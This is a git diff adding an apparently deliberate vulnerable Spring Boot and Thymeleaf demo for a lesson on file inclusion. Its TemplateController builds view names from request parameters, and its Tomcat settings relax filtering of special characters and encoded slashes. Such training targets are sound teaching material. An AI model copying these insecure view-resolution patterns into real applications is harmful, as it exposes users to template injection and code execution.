diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/mvnw" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/mvnw"
new file mode 100755
index 0000000..a16b543
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/mvnw"
@@ -0,0 +1,310 @@
+#!/bin/sh
+# ----------------------------------------------------------------------------
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements. See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership. The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License. You may obtain a copy of the License at
+#
+# https://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations
+# under the License.
+# ----------------------------------------------------------------------------
+
+# ----------------------------------------------------------------------------
+# Maven Start Up Batch script
+#
+# Required ENV vars:
+# ------------------
+# JAVA_HOME - location of a JDK home dir
+#
+# Optional ENV vars
+# -----------------
+# M2_HOME - location of maven2's installed home dir
+# MAVEN_OPTS - parameters passed to the Java VM when running Maven
+# e.g. to debug Maven itself, use
+# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+# ----------------------------------------------------------------------------
+
+if [ -z "$MAVEN_SKIP_RC" ] ; then
+
+ if [ -f /etc/mavenrc ] ; then
+ . /etc/mavenrc
+ fi
+
+ if [ -f "$HOME/.mavenrc" ] ; then
+ . "$HOME/.mavenrc"
+ fi
+
+fi
+
+# OS specific support. $var _must_ be set to either true or false.
+cygwin=false;
+darwin=false;
+mingw=false
+case "`uname`" in
+ CYGWIN*) cygwin=true ;;
+ MINGW*) mingw=true;;
+ Darwin*) darwin=true
+ # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
+ # See https://developer.apple.com/library/mac/qa/qa1170/_index.html
+ if [ -z "$JAVA_HOME" ]; then
+ if [ -x "/usr/libexec/java_home" ]; then
+ export JAVA_HOME="`/usr/libexec/java_home`"
+ else
+ export JAVA_HOME="/Library/Java/Home"
+ fi
+ fi
+ ;;
+esac
+
+if [ -z "$JAVA_HOME" ] ; then
+ if [ -r /etc/gentoo-release ] ; then
+ JAVA_HOME=`java-config --jre-home`
+ fi
+fi
+
+if [ -z "$M2_HOME" ] ; then
+ ## resolve links - $0 may be a link to maven's home
+ PRG="$0"
+
+ # need this for relative symlinks
+ while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG="`dirname "$PRG"`/$link"
+ fi
+ done
+
+ saveddir=`pwd`
+
+ M2_HOME=`dirname "$PRG"`/..
+
+ # make it fully qualified
+ M2_HOME=`cd "$M2_HOME" && pwd`
+
+ cd "$saveddir"
+ # echo Using m2 at $M2_HOME
+fi
+
+# For Cygwin, ensure paths are in UNIX format before anything is touched
+if $cygwin ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --unix "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
+fi
+
+# For Mingw, ensure paths are in UNIX format before anything is touched
+if $mingw ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME="`(cd "$M2_HOME"; pwd)`"
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
+fi
+
+if [ -z "$JAVA_HOME" ]; then
+ javaExecutable="`which javac`"
+ if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
+ # readlink(1) is not available as standard on Solaris 10.
+ readLink=`which readlink`
+ if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
+ if $darwin ; then
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
+ else
+ javaExecutable="`readlink -f \"$javaExecutable\"`"
+ fi
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaHome=`expr "$javaHome" : '\(.*\)/bin'`
+ JAVA_HOME="$javaHome"
+ export JAVA_HOME
+ fi
+ fi
+fi
+
+if [ -z "$JAVACMD" ] ; then
+ if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ else
+ JAVACMD="`which java`"
+ fi
+fi
+
+if [ ! -x "$JAVACMD" ] ; then
+ echo "Error: JAVA_HOME is not defined correctly." >&2
+ echo " We cannot execute $JAVACMD" >&2
+ exit 1
+fi
+
+if [ -z "$JAVA_HOME" ] ; then
+ echo "Warning: JAVA_HOME environment variable is not set."
+fi
+
+CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
+
+# traverses directory structure from process work directory to filesystem root
+# first directory with .mvn subdirectory is considered project base directory
+find_maven_basedir() {
+
+ if [ -z "$1" ]
+ then
+ echo "Path not specified to find_maven_basedir"
+ return 1
+ fi
+
+ basedir="$1"
+ wdir="$1"
+ while [ "$wdir" != '/' ] ; do
+ if [ -d "$wdir"/.mvn ] ; then
+ basedir=$wdir
+ break
+ fi
+ # workaround for JBEAP-8937 (on Solaris 10/Sparc)
+ if [ -d "${wdir}" ]; then
+ wdir=`cd "$wdir/.."; pwd`
+ fi
+ # end of workaround
+ done
+ echo "${basedir}"
+}
+
+# concatenates all lines of a file
+concat_lines() {
+ if [ -f "$1" ]; then
+ echo "$(tr -s '\n' ' ' < "$1")"
+ fi
+}
+
+BASE_DIR=`find_maven_basedir "$(pwd)"`
+if [ -z "$BASE_DIR" ]; then
+ exit 1;
+fi
+
+##########################################################################################
+# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
+# This allows using the maven wrapper in projects that prohibit checking in binary data.
+##########################################################################################
+if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found .mvn/wrapper/maven-wrapper.jar"
+ fi
+else
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
+ fi
+ if [ -n "$MVNW_REPOURL" ]; then
+ jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
+ else
+ jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
+ fi
+ while IFS="=" read key value; do
+ case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
+ esac
+ done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Downloading from: $jarUrl"
+ fi
+ wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
+ if $cygwin; then
+ wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
+ fi
+
+ if command -v wget > /dev/null; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found wget ... using wget"
+ fi
+ if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
+ wget "$jarUrl" -O "$wrapperJarPath"
+ else
+ wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
+ fi
+ elif command -v curl > /dev/null; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found curl ... using curl"
+ fi
+ if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
+ curl -o "$wrapperJarPath" "$jarUrl" -f
+ else
+ curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
+ fi
+
+ else
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Falling back to using Java to download"
+ fi
+ javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
+ # For Cygwin, switch paths to Windows format before running javac
+ if $cygwin; then
+ javaClass=`cygpath --path --windows "$javaClass"`
+ fi
+ if [ -e "$javaClass" ]; then
+ if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo " - Compiling MavenWrapperDownloader.java ..."
+ fi
+ # Compiling the Java class
+ ("$JAVA_HOME/bin/javac" "$javaClass")
+ fi
+ if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
+ # Running the downloader
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo " - Running MavenWrapperDownloader.java ..."
+ fi
+ ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
+ fi
+ fi
+ fi
+fi
+##########################################################################################
+# End of extension
+##########################################################################################
+
+export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
+if [ "$MVNW_VERBOSE" = true ]; then
+ echo $MAVEN_PROJECTBASEDIR
+fi
+MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --path --windows "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
+ [ -n "$MAVEN_PROJECTBASEDIR" ] &&
+ MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
+fi
+
+# Provide a "standardized" way to retrieve the CLI args that will
+# work with both Windows and non-Windows executions.
+MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
+export MAVEN_CMD_LINE_ARGS
+
+WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+exec "$JAVACMD" \
+ $MAVEN_OPTS \
+ -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
+ "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
+ ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/mvnw.cmd" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/mvnw.cmd"
new file mode 100644
index 0000000..c8d4337
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/mvnw.cmd"
@@ -0,0 +1,182 @@
+@REM ----------------------------------------------------------------------------
+@REM Licensed to the Apache Software Foundation (ASF) under one
+@REM or more contributor license agreements. See the NOTICE file
+@REM distributed with this work for additional information
+@REM regarding copyright ownership. The ASF licenses this file
+@REM to you under the Apache License, Version 2.0 (the
+@REM "License"); you may not use this file except in compliance
+@REM with the License. You may obtain a copy of the License at
+@REM
+@REM https://www.apache.org/licenses/LICENSE-2.0
+@REM
+@REM Unless required by applicable law or agreed to in writing,
+@REM software distributed under the License is distributed on an
+@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+@REM KIND, either express or implied. See the License for the
+@REM specific language governing permissions and limitations
+@REM under the License.
+@REM ----------------------------------------------------------------------------
+
+@REM ----------------------------------------------------------------------------
+@REM Maven Start Up Batch script
+@REM
+@REM Required ENV vars:
+@REM JAVA_HOME - location of a JDK home dir
+@REM
+@REM Optional ENV vars
+@REM M2_HOME - location of maven2's installed home dir
+@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
+@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending
+@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
+@REM e.g. to debug Maven itself, use
+@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+@REM ----------------------------------------------------------------------------
+
+@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
+@echo off
+@REM set title of command window
+title %0
+@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
+@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
+
+@REM set %HOME% to equivalent of $HOME
+if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
+
+@REM Execute a user defined script before this one
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
+@REM check for pre script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
+if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
+:skipRcPre
+
+@setlocal
+
+set ERROR_CODE=0
+
+@REM To isolate internal variables from possible post scripts, we use another setlocal
+@setlocal
+
+@REM ==== START VALIDATION ====
+if not "%JAVA_HOME%" == "" goto OkJHome
+
+echo.
+echo Error: JAVA_HOME not found in your environment. >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+:OkJHome
+if exist "%JAVA_HOME%\bin\java.exe" goto init
+
+echo.
+echo Error: JAVA_HOME is set to an invalid directory. >&2
+echo JAVA_HOME = "%JAVA_HOME%" >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+@REM ==== END VALIDATION ====
+
+:init
+
+@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
+@REM Fallback to current working directory if not found.
+
+set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
+IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
+
+set EXEC_DIR=%CD%
+set WDIR=%EXEC_DIR%
+:findBaseDir
+IF EXIST "%WDIR%"\.mvn goto baseDirFound
+cd ..
+IF "%WDIR%"=="%CD%" goto baseDirNotFound
+set WDIR=%CD%
+goto findBaseDir
+
+:baseDirFound
+set MAVEN_PROJECTBASEDIR=%WDIR%
+cd "%EXEC_DIR%"
+goto endDetectBaseDir
+
+:baseDirNotFound
+set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
+cd "%EXEC_DIR%"
+
+:endDetectBaseDir
+
+IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
+
+@setlocal EnableExtensions EnableDelayedExpansion
+for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
+@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
+
+:endReadAdditionalConfig
+
+SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
+set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
+set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
+
+FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
+ IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
+)
+
+@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
+@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
+if exist %WRAPPER_JAR% (
+ if "%MVNW_VERBOSE%" == "true" (
+ echo Found %WRAPPER_JAR%
+ )
+) else (
+ if not "%MVNW_REPOURL%" == "" (
+ SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
+ )
+ if "%MVNW_VERBOSE%" == "true" (
+ echo Couldn't find %WRAPPER_JAR%, downloading it ...
+ echo Downloading from: %DOWNLOAD_URL%
+ )
+
+ powershell -Command "&{"^
+ "$webclient = new-object System.Net.WebClient;"^
+ "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
+ "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
+ "}"^
+ "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
+ "}"
+ if "%MVNW_VERBOSE%" == "true" (
+ echo Finished downloading %WRAPPER_JAR%
+ )
+)
+@REM End of extension
+
+@REM Provide a "standardized" way to retrieve the CLI args that will
+@REM work with both Windows and non-Windows executions.
+set MAVEN_CMD_LINE_ARGS=%*
+
+%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
+if ERRORLEVEL 1 goto error
+goto end
+
+:error
+set ERROR_CODE=1
+
+:end
+@endlocal & set ERROR_CODE=%ERROR_CODE%
+
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
+@REM check for post script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
+if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
+:skipRcPost
+
+@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
+if "%MAVEN_BATCH_PAUSE%" == "on" pause
+
+if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
+
+exit /B %ERROR_CODE%
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/pom.xml" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/pom.xml"
new file mode 100644
index 0000000..f803ee5
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/pom.xml"
@@ -0,0 +1,46 @@
+
+
+ 4.0.0
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 2.2.0.RELEASE
+
+
+ com.panda
+ fileInclude
+ 0.0.1-SNAPSHOT
+ fileInclude
+ fileInclude
+
+ 1.8
+
+
+
+
+ org.springframework.boot
+ spring-boot-starter-thymeleaf
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+ org.springframework.boot
+ spring-boot-starter-test
+ test
+
+
+
+
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+
+
+
+
+
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/java/com/panda/fileinclude/FileIncludeApplication.java" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/java/com/panda/fileinclude/FileIncludeApplication.java"
new file mode 100644
index 0000000..3b60c4e
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/java/com/panda/fileinclude/FileIncludeApplication.java"
@@ -0,0 +1,31 @@
+package com.panda.fileinclude;
+
+import org.apache.catalina.connector.Connector;
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+import org.springframework.boot.web.embedded.tomcat.TomcatConnectorCustomizer;
+import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
+import org.springframework.boot.web.servlet.server.ConfigurableServletWebServerFactory;
+import org.springframework.context.annotation.Bean;
+
+@SpringBootApplication
+public class FileIncludeApplication {
+
+
+ public static void main(String[] args) {
+ SpringApplication.run(FileIncludeApplication.class, args);
+ }
+
+ @Bean
+ public ConfigurableServletWebServerFactory webServerFactory() {
+ TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory();
+ factory.addConnectorCustomizers(new TomcatConnectorCustomizer() {
+ @Override
+ public void customize(Connector connector) {
+ connector.setProperty("relaxedQueryChars", "|{}[]");
+ }
+ });
+ return factory;
+ }
+
+}
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/java/com/panda/fileinclude/TemplateController.java" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/java/com/panda/fileinclude/TemplateController.java"
new file mode 100644
index 0000000..04db78d
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/java/com/panda/fileinclude/TemplateController.java"
@@ -0,0 +1,40 @@
+package com.panda.fileinclude;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.Model;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+
+import org.springframework.web.servlet.View;
+
+@Controller
+public class TemplateController {
+ Logger log = LoggerFactory.getLogger(TemplateController.class);
+
+ @GetMapping("/")
+ public String index(Model model) {
+ model.addAttribute("message", "hello world!");
+ return "index";
+ }
+
+
+ @GetMapping("/admin")
+ public String path(@RequestParam String language) {
+ return "language/" + language + "/admin";
+ }
+
+ @GetMapping("/page")
+ public String path(@RequestParam String exp, Model model) {
+ model.addAttribute("exp", exp);
+ return "exp";
+ }
+
+ @GetMapping("/test")
+ public String test(@RequestParam String path) {
+ return "/" + path;
+ }
+
+
+}
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/application.properties" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/application.properties"
new file mode 100644
index 0000000..2088962
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/application.properties"
@@ -0,0 +1,8 @@
+spring.thymeleaf.cache=false
+spring.thymeleaf.prefix=classpath:/templates/
+spring.thymeleaf.suffix=.html
+spring.thymeleaf.encoding=UTF-8
+spring.thymeleaf.content-type=text/html
+spring.thymeleaf.mode=HTML5
+tomcat.util.http.parser.HttpParser.requestTargetAllow=|{}
+org.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH=true
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/exp.html" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/exp.html"
new file mode 100644
index 0000000..bbbb8b7
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/exp.html"
@@ -0,0 +1,11 @@
+
+
+
+ Hello World!
+
+
+Hello
+
+
+
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/index.html" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/index.html"
new file mode 100644
index 0000000..ec1cd3b
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/index.html"
@@ -0,0 +1,11 @@
+
+
+
+ Hello World!
+
+
+Hello
+
+
+
\ No newline at end of file
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/cn/admin.html" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/cn/admin.html"
new file mode 100644
index 0000000..a520af8
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/src/main/resources/templates/language/cn/admin.html"
@@ -0,0 +1,11 @@
+
+
+
+ Cn Admin page!
+
+
+Hello Cn-Admin
+
+
+
\ No newline at end of file
